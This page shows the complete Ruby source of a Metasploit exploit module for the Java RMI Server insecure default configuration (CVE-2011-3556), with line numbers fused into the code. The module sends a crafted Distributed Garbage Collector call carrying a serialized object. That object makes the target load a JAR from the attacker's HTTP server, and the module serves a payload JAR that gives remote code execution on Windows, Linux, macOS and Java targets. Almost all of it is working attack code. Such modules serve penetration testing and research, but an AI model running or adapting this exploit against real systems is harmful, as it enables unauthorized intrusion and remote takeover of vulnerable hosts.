Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/java_rmi_server.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Java::Rmi::Client9include Msf::Exploit::Remote::HttpServer10include Msf::Exploit::Remote::CheckModule1112def initialize(info = {})13super(update_info(info,14'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',15'Description' => %q{16This module takes advantage of the default configuration of the RMI Registry and17RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it18invokes a method in the RMI Distributed Garbage Collector which is available via every19RMI endpoint, it can be used against both rmiregistry and rmid, and against most other20(custom) RMI endpoints as well.2122Note that it does not work against Java Management Extension (JMX) ports since those do23not support remote class loading, unless another RMI endpoint is active in the same24Java process.2526RMI method calls do not support or require any sort of authentication.27},28'Author' => [ 'mihi' ],29'License' => MSF_LICENSE,30'References' =>31[32# RMI protocol specification33[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],34[ 'URL', 'http://www.securitytracker.com/id?1026215'],35[ 'CVE', '2011-3556']36],37'DisclosureDate' => '2011-10-15',38'Platform' => %w{ java linux osx solaris win },39'Privileged' => false,40'Payload' => { 'BadChars' => '', 'DisableNops' => true },41'Stance' => Msf::Exploit::Stance::Aggressive,42'DefaultOptions' =>43{44'CheckModule' => 'auxiliary/scanner/misc/java_rmi_server',45'WfsDelay' => 1046},47'Targets' =>48[49[ 'Generic (Java Payload)',50{51'Platform' => ['java'],52'Arch' => ARCH_JAVA53}54],55[ 'Windows x86 (Native Payload)',56{57'Platform' => 'win',58'Arch' => ARCH_X86,59}60],61[ 'Linux x86 (Native Payload)',62{63'Platform' => 'linux',64'Arch' => ARCH_X86,65}66],67[ 'Mac OS X PPC (Native Payload)',68{69'Platform' => 'osx',70'Arch' => ARCH_PPC,71}72],73[ 'Mac OS X x86 (Native Payload)',74{75'Platform' => 'osx',76'Arch' => ARCH_X86,77}78]79],80'DefaultTarget' => 081))82register_options([83Opt::RPORT(1099),84OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),85])86register_common_rmi_ports_and_services87end8889def exploit90begin91Timeout.timeout(datastore['HTTPDELAY']) { super }92rescue Timeout::Error93# When the server stops due to our timeout, re-raise94# RuntimeError so it won't wait the full wfs_delay95raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"96rescue Msf::Exploit::Failed97# When the server stops due primer failing, re-raise98# RuntimeError so it won't wait the full wfs_delays99raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"100rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e101# When the primer fails due to an error connecting with102# the rhost, re-raise RuntimeError so it won't wait the103# full wfs_delays104raise ::RuntimeError, e.message105end106end107108def primer109connect110111print_status("Sending RMI Header...")112send_header113ack = recv_protocol_ack114if ack.nil?115fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")116end117118jar = rand_text_alpha(rand(8)+1) + '.jar'119new_url = get_uri + '/' + jar120121print_status("Sending RMI Call...")122dgc_interface_hash = calculate_interface_hash(123[124{125name: 'clean',126descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',127exceptions: ['java.rmi.RemoteException']128},129{130name: 'dirty',131descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',132exceptions: ['java.rmi.RemoteException']133}134]135)136137# JDK 1.1 stub protocol138# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)139# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))140send_call(141object_number: 2,142uid_number: 0,143uid_time: 0,144uid_count: 0,145operation: 0,146hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash147arguments: build_dgc_clean_args(new_url)148)149150return_value = recv_return151152if return_value.nil? && !session_created?153fail_with(Failure::Unknown, 'RMI Call failed')154end155156if return_value && return_value.is_exception? && loader_disabled?(return_value)157fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')158end159160if return_value && return_value.is_exception? && class_not_found?(return_value)161fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')162end163164disconnect165end166167def on_request_uri(cli, request)168if request.uri =~ /\.jar$/i169p = regenerate_payload(cli)170jar = p.encoded_jar171paths = [172[ "metasploit", "RMILoader.class" ],173[ "metasploit", "RMIPayload.class" ],174]175176jar.add_file('metasploit/', '') # create metasploit dir177paths.each do |path_parts|178path = ['java', path_parts].flatten.join('/')179contents = ::MetasploitPayloads.read(path)180jar.add_file(path_parts.join('/'), contents)181end182183send_response(cli, jar.pack,184{185'Content-Type' => 'application/java-archive',186'Connection' => 'close',187'Pragma' => 'no-cache'188})189190print_status("Replied to request for payload JAR")191cleanup_service192end193end194195def autofilter196return true197end198199def loader_disabled?(return_value)200return_value.value.each do |exception|201if exception.class == Rex::Java::Serialization::Model::NewObject &&202exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&203exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&204[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&205exception.class_data[1].contents.include?('RMI class loader disabled')206return true207end208end209210false211end212213def class_not_found?(return_value)214return_value.value.each do |exception|215if exception.class == Rex::Java::Serialization::Model::NewObject &&216exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&217exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'218return true219end220end221222false223end224225def build_dgc_clean_args(jar_url)226arguments = []227228new_array_annotation = Rex::Java::Serialization::Model::Annotation.new229new_array_annotation.contents = [230Rex::Java::Serialization::Model::NullReference.new,231Rex::Java::Serialization::Model::EndBlockData.new232]233234new_array_super = Rex::Java::Serialization::Model::ClassDesc.new235new_array_super.description = Rex::Java::Serialization::Model::NullReference.new236237new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new238new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')239new_array_desc.serial_version = 0x871300b8d02c647e240new_array_desc.flags = 2241new_array_desc.fields = []242new_array_desc.class_annotation = new_array_annotation243new_array_desc.super_class = new_array_super244245array_desc = Rex::Java::Serialization::Model::ClassDesc.new246array_desc.description = new_array_desc247248new_array = Rex::Java::Serialization::Model::NewArray.new249new_array.type = 'java.rmi.server.ObjID;'250new_array.values = []251new_array.array_description = array_desc252253arguments << new_array254arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")255256new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new257new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')258new_class_desc.serial_version = 0xa16544ba26f9c2f4259new_class_desc.flags = 2260new_class_desc.fields = []261new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new262new_class_desc.class_annotation.contents = [263Rex::Java::Serialization::Model::Utf.new(nil, jar_url),264Rex::Java::Serialization::Model::EndBlockData.new265]266new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new267new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new268269new_object = Rex::Java::Serialization::Model::NewObject.new270new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new271new_object.class_desc.description = new_class_desc272new_object.class_data = []273274arguments << new_object275276arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")277278arguments279end280end281282283